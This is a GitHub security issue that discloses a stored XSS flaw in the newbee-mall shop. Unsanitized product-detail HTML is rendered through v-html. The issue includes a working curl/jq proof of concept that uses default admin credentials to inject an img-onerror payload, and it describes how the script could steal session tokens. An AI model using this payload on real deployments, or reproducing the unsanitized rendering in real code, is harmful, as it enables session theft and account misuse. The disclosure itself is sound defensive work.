Skip to content

[Security] Stored XSS in Product Detail Rich Text Content #121

Description

@insung186

Summary

The Vue3 frontend product detail page of newbee-mall directly renders the product detail field goodsDetailContent using v-html. This field can be written through the backend product editing feature, while the backend does not safely sanitize the rich text HTML when saving or returning it. As a result, an HTML payload containing event handlers can be stored in the database and executed on the frontend product detail page.

Details

  1. The backend Vue3 product editing page submits the rich text editor HTML as goodsDetailContent without modification:
// vue3-admin/src/views/AddGood.vue:191
goodsDetailContent: instance.txt.html()

When editing an existing product, the request enters PUT /manage-api/v1/goods (VueAdminApiController.java:204-206).

  1. When updating the product, the backend only sanitizes the product name, introduction, and tag, but does not process the detail HTML:
// newbee-mall/src/main/java/ltd/newbee/mall/service/impl/NewBeeMallGoodsServiceImpl.java:90-94
goods.setGoodsName(NewBeeMallUtils.cleanString(goods.getGoodsName()));
goods.setGoodsIntro(NewBeeMallUtils.cleanString(goods.getGoodsIntro()));
goods.setTag(NewBeeMallUtils.cleanString(goods.getTag()));
goods.setUpdateTime(new Date());
goodsMapper.updateByPrimaryKeySelective(goods);

The entity setter only performs trim() on goodsDetailContent (NewBeeMallGoods.java:174-175), and MyBatis subsequently writes it into goods_detail_content (NewBeeMallGoodsMapper.xml:350-351).

  1. The frontend detail API returns the product detail field, and the Vue3 product detail page renders it using v-html:
<!-- newbee-mall-vue3-app/src/views/ProductDetail.vue:39 -->
<div class="product-content" v-html="state.detail.goodsDetailContent || ''"></div>

The frontend obtains the data through GET /api/v1/goods/detail/{goodsId} (VueMallApiController.java:79-88). Since the field is not safely sanitized during saving, returning, or rendering, an event-based HTML payload will execute when a user visits the product detail page. This vulnerability is a stored XSS.

POC

BASE=http://localhost:35824
ID=10906
PAYLOAD='<img src=x onerror="alert('\''stored XSS: goodsDetailContent'\'')">'

TOKEN=$(curl -sS -c /tmp/newbee.cookies \
  -H 'Content-Type: application/json' \
  -d '{"userName":"admin","passwordMd5":"123456"}' \
  "$BASE/manage-api/v1/adminUser/login" | jq -r .data)

curl -sS -b /tmp/newbee.cookies -H "token: $TOKEN" \
  "$BASE/manage-api/v1/goods/$ID" > /tmp/newbee_goods_backup.json

jq --arg payload "$PAYLOAD" '.data | {
  goodsId, goodsName, goodsIntro, goodsCategoryId, goodsCoverImg, goodsCarousel,
  originalPrice, sellingPrice, stockNum, tag, goodsSellStatus,
  goodsDetailContent: $payload
}' /tmp/newbee_goods_backup.json > /tmp/newbee_goods_xss.json

curl -sS -b /tmp/newbee.cookies -H "token: $TOKEN" \
  -H 'Content-Type: application/json' \
  -X PUT --data-binary @/tmp/newbee_goods_xss.json \
  "$BASE/manage-api/v1/goods"

curl -sS "$BASE/api/v1/goods/detail/$ID" | jq -r '.data.goodsDetailContent'
Image

Then visit the frontend product detail page: http://localhost:35824/app/#/product/10906. After the page loads the detail content, it triggers alert('stored XSS: goodsDetailContent').

Image

Impact

The current Vue3 frontend stores the login token in localStorage and uses it as a header for subsequent API requests in src/utils/axios.js:19. The script can read this token or directly initiate same-origin API requests as the current frontend user, such as reading user information, operating the shopping cart, or affecting the order process. Unauthenticated users will also execute the script, but the exploitable capabilities are limited by the unauthenticated state.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions